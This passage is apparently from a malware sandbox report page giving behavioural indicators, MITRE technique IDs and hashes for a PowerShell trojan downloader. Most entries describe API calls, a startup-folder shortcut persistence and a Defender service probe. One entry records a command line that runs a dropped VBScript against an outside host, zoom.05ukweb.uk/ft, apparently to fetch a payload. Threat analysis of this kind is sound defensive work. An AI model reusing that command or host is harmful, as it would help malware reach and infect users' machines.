Traffic","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"OpenServiceW\" to access the \"Windefend\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"powershell.exe\" called \"OpenServiceW\" to access the \"Windefend\" service requesting \"SERVICE_ENUMERATE_DEPENDENTS\" (0X8) access rights\n \"powershell.exe\" called \"OpenServiceW\" to access the \"Windefend\" service requesting \"SERVICE_STOP\" (0X20) access rights","id":"api-76","level":"informative","mitre_attack_id":"T1007","name":"Requested access to a system service","origin":"API Call","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Remote Access Related","description":"$55","id":"string-531","level":"informative","mitre_attack_id":"T1090","name":"Contains references to RPC protocol sequence strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"SeSystemEnvironmentPrivilege\" (Indicator: \"SeSystemEnvironmentPrivilege\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp\")\n Found reference to API \"SeSystemEnvironmentPrivilege\" (Indicator: \"SeSystemEnvironmentPrivilege\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp\")","id":"string-97","level":"informative","mitre_attack_id":"T1548","name":"Contains ability to use security policy setting (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006036)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00006036)","id":"api-110","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to find and list the Windows drive types","origin":"API Call","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"RegSetValueA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-304","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to modify registry key/value (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-171","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the OS information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6036)","id":"api-1","level":"informative","mitre_attack_id":"T1562.001","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","origin":"API Call","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"19001a000000000040c71614f87f0000@ntdll.dll\"\n \"220023000000000018c71614f87f0000@ntdll.dll\"\n \"19001a00dc00000040c71614f87f0000@ntdll.dll\"\n \"22002300dc00000018c71614f87f0000@ntdll.dll\"\n \"19001a001b00000040c71614f87f0000@ntdll.dll\"\n \"220023001b00000018c71614f87f0000@ntdll.dll\"","id":"api-8","level":"informative","mitre_attack_id":"T1129","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cy4qidx5.z50.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_prcwrtqm.x2p.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\oklnkae.vbs\"","id":"api-267","level":"informative","mitre_attack_id":"T1005","name":"Writes files in a temp directory","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$56","id":"api-243","level":"informative","mitre_attack_id":"T1083","name":"Reads files","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$57","id":"api-203","level":"informative","mitre_attack_id":"T1083","name":"Tries to access LNK files (Windows shortcut)","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Dropped file: \"onedrive.lnk\" - Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\onedrive.lnk]- [targetUID: 00000000-00003076]\n Dropped file: \"B8QJI8J4JJB1PCN9I2I1.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\B8QJI8J4JJB1PCN9I2I1.temp]- [targetUID: 00000000-00006036]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006036]","id":"binary-37","level":"informative","mitre_attack_id":"T1036","name":"Drops files inside appdata directory","origin":"Binary File","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"powershell.exe\" at 00000000-00006036-00000C15-2958716645","id":"api-10","level":"informative","mitre_attack_id":"T1622","name":"Queries kernel debugger information","origin":"API Call","relevance":6,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"DateLastModified\" (Indicator: \"datelastmodified\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp\")\n Found string \"DateLastModified@\" (Indicator: \"datelastmodified\"; Source: \"00000000-00003076.00000002.259256.4ED30000.00000002.mdmp\")\n Found string \"DateLastModified\" (Indicator: \"datelastmodified\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp\")","id":"string-778","level":"informative","mitre_attack_id":"T1070.006","name":"Able to manipulate a file/directory time format","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-247","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to retrieve machine time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"Win32API|Time Functions|GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp\")\n Found reference to API \"Win32API|Time Functions|GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp\")","id":"string-248","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to retrieve machine timezone (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"$58","id":"registry-173","level":"informative","mitre_attack_id":"T1007","name":"Queries services related registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006036)","id":"api-297","level":"informative","mitre_attack_id":"T1003","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$59","id":"string-868","level":"informative","mitre_attack_id":"T1558","name":"Able to access credential file using Kerberos","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006036)","id":"api-111","level":"informative","mitre_attack_id":"T1134","name":"Calls an API typically used to enable or disable privileges in the specified access token","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"details too long to display","id":"network-40","level":"malicious","mitre_attack_id":"T1041","name":"Collects system information using POST request","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 16530000\n \"wscript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 16530000","id":"module-10","level":"informative","mitre_attack_id":"T1129","name":"Loads the RPC (Remote Procedure Call) module DLL","origin":"Loaded Module","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"wscript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","id":"api-264","level":"informative","mitre_attack_id":"T1055.003","name":"Creates a thread in a self process","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$5a","id":"string-57","level":"informative","mitre_attack_id":"T1027","name":"Contains CRYPTO related strings","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-452","level":"informative","mitre_attack_id":"T1087","name":"Contains ability to retrieve SID for the specified name (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"External Systems","description":"1/26 Antivirus vendors marked sample as malicious (3% detection rate)","id":"avtest-0","level":"suspicious","name":"Sample was identified as malicious by at least one Antivirus engine","origin":"External System","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006036-00000C2C-2953971200\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006036-00000C2C-2954402362\")","id":"string-907","level":"informative","mitre_attack_id":"T1057","name":"Able to enumerate system processes using native API","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\wscript.exe\" %TEMP%\\oklnkae.vbs zoom.05ukweb.uk/ft 1\" - (UID: 00000000-00006036)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\wscript.exe\" %TEMP%\\oklnkae.vbs zoom.05ukweb.uk/ft 2\" - (UID: 00000000-00006036)","id":"api-128","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to create a process","origin":"API Call","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$5b","id":"api-22","level":"informative","mitre_attack_id":"T1129","name":"Fails to load modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$5c","id":"api-242","level":"informative","name":"Writes files","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '3004093956097', 'hResInfo': '3004093957344'}\" (UID: 00000000-00006036)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '3004093956097', 'hResInfo': '3004093957376'}\" (UID: 00000000-00006036)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '3004093956097', 'hResInfo': '3004093957392'}\" (UID: 00000000-00006036)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '3004093956097', 'hResInfo': '3004093957360'}\" (UID: 00000000-00006036)","id":"api-139","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to load a resource in memory","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$5d","id":"registry-215","level":"informative","mitre_attack_id":"T1497","name":"Observed a high volume of repeated registry API calls (API Hammering)","origin":"Registry Access","relevance":7,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]}],"stats":{"attributions":{"campaigns_count":0,"cves_count":0,"malware_families_count":1,"threat_actors_count":0,"threat_types_count":0},"av":{"malicious_count":1,"suspicious_count":0,"total_engines":26},"mitre_attacks":{"total":79},"rule_matches":{"sigma_count":0,"suricata_count":0,"yara_count":0},"sandbox_signatures":{"informative_count":212,"malicious_count":4,"suspicious_count":17,"total":233}},"summary":{"score":100,"tags":["evasive"],"verdict":"malicious"}},"metadata":{"file_info":{"file_name":"28884ed8_ft.txt","file_size":516,"file_type":["powershell","ps"],"file_type_id":"ps1"},"hashes":{"imphash":"Unknown","md5":"cbda97f64ae81bc2860951a177ae0516","sha1":"68377be2de9a37bbcaf7d4d1e6b953390c08f970","sha256":"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d","sha512":"2649555cbbc950b4e7a1c9e27988090de0f4a2a79f6abfbb51d56b39c9d4c290bade1e58c85fd39b3cc95e8d9b7d1058b673433b39558208147dfcfa300289e7","ssdeep":"12:FGYhrNOboQ6TzIWaxrAu5dsHBysaR0MndTTFRWBNOqYMndTTFRWBNOqcvkku1G:8YdUv4Gtd6BSjdPbWBNHdPbWBN7kuc","ssdeep_chunks":["12:FGYhrNO","12:GYhrNOb","12:YhrNObo","12:hrNOboQ","12:rNOboQ6","12:NOboQ6T","12:OboQ6Tz","12:boQ6TzI","12:oQ6TzIW","12:Q6TzIWa","12:6TzIWax","12:TzIWaxr","12:zIWaxrA","12:IWaxrAu","12:WaxrAu5","12:axrAu5d","12:xrAu5ds","12:rAu5dsH","12:Au5dsHB","12:u5dsHBy","12:5dsHBys","12:dsHBysa","12:sHBysaR","12:HBysaR0","12:BysaR0M","12:ysaR0Mn","12:saR0Mnd","12:aR0MndT","12:R0MndTT","12:0MndTTF","12:MndTTFR","12:ndTTFRW","12:dTTFRWB","12:TTFRWBN","12:TFRWBNO","12:FRWBNOq","12:RWBNOqY","12:WBNOqYM","12:BNOqYMn","12:NOqYMnd","12:OqYMndT","12:qYMndTT","12:YMndTTF","12:RWBNOqc","12:WBNOqcv","12:BNOqcvk","12:NOqcvkk","12:Oqcvkku","12:qcvkku1","12:cvkku1G","24:FGYhrNO","24:GYhrNOb","24:YhrNObo","24:hrNOboQ","24:rNOboQ6","24:NOboQ6T","24:OboQ6Tz","24:boQ6TzI","24:oQ6TzIW","24:Q6TzIWa","24:6TzIWax","24:TzIWaxr","24:zIWaxrA","24:IWaxrAu","24:WaxrAu5","24:axrAu5d","24:xrAu5ds","24:rAu5dsH","24:Au5dsHB","24:u5dsHBy","24:5dsHBys","24:dsHBysa","24:sHBysaR","24:HBysaR0","24:BysaR0M","24:ysaR0Mn","24:saR0Mnd","24:aR0MndT","24:R0MndTT","24:0MndTTF","24:MndTTFR","24:ndTTFRW","24:dTTFRWB","24:TTFRWBN","24:TFRWBNO","24:FRWBNOq","24:RWBNOqY","24:WBNOqYM","24:BNOqYMn","24:NOqYMnd","24:OqYMndT","24:qYMndTT","24:YMndTTF","24:RWBNOqc","24:WBNOqcv","24:BNOqcvk","24:NOqcvkk","24:Oqcvkku","24:qcvkku1","24:cvkku1G","12:8YdUv4G","12:YdUv4Gt","12:dUv4Gtd","12:Uv4Gtd6","12:v4Gtd6B","12:4Gtd6BS","12:Gtd6BSj","12:td6BSjd","12:d6BSjdP","12:6BSjdPb","12:BSjdPbW","12:SjdPbWB","12:jdPbWBN","12:dPbWBNH","12:PbWBNHd","12:bWBNHdP","12:WBNHdPb","12:BNHdPbW","12:NHdPbWB","12:HdPbWBN","12:dPbWBN7","12:PbWBN7k","12:bWBN7ku","12:WBN7kuc"]},"submissions":{"first_seen":1773577623000,"last_multi_scan":1773577629000,"last_seen":1773577629000}},"overall_status":"SUCCESS","report_ids":{"sandbox_job_ids":["69b6a59c3442f753c50edbba"]},"schema_version":"1.0.9","sha256":"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d","threat_score":100,"unified_at":"2026-09-06T12:01:25.263Z","unified_at_epoch_ms":1788696085263,"verdict":"malicious"}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious TrojanDownloader/PS.Agent Sample 7a0b96f10635… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 7a0b96f10635…. Malware family: TrojanDownloader/PS.Agent. Threat score 100/100. 1/26 AV engines flagged this file. 4 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d"}],["$","meta","4",{"property":"og:title","content":"Malicious TrojanDownloader/PS.Agent Sample 7a0b96f10635… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 7a0b96f10635…. Malware family: TrojanDownloader/PS.Agent. Threat score 100/100. 1/26 AV engines flagged this file. 4 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious TrojanDownloader/PS.Agent Sample 7a0b96f10635… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 7a0b96f10635…. Malware family: TrojanDownloader/PS.Agent. Threat score 100/100. 1/26 AV engines flagged this file. 4 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5e","11",{}]]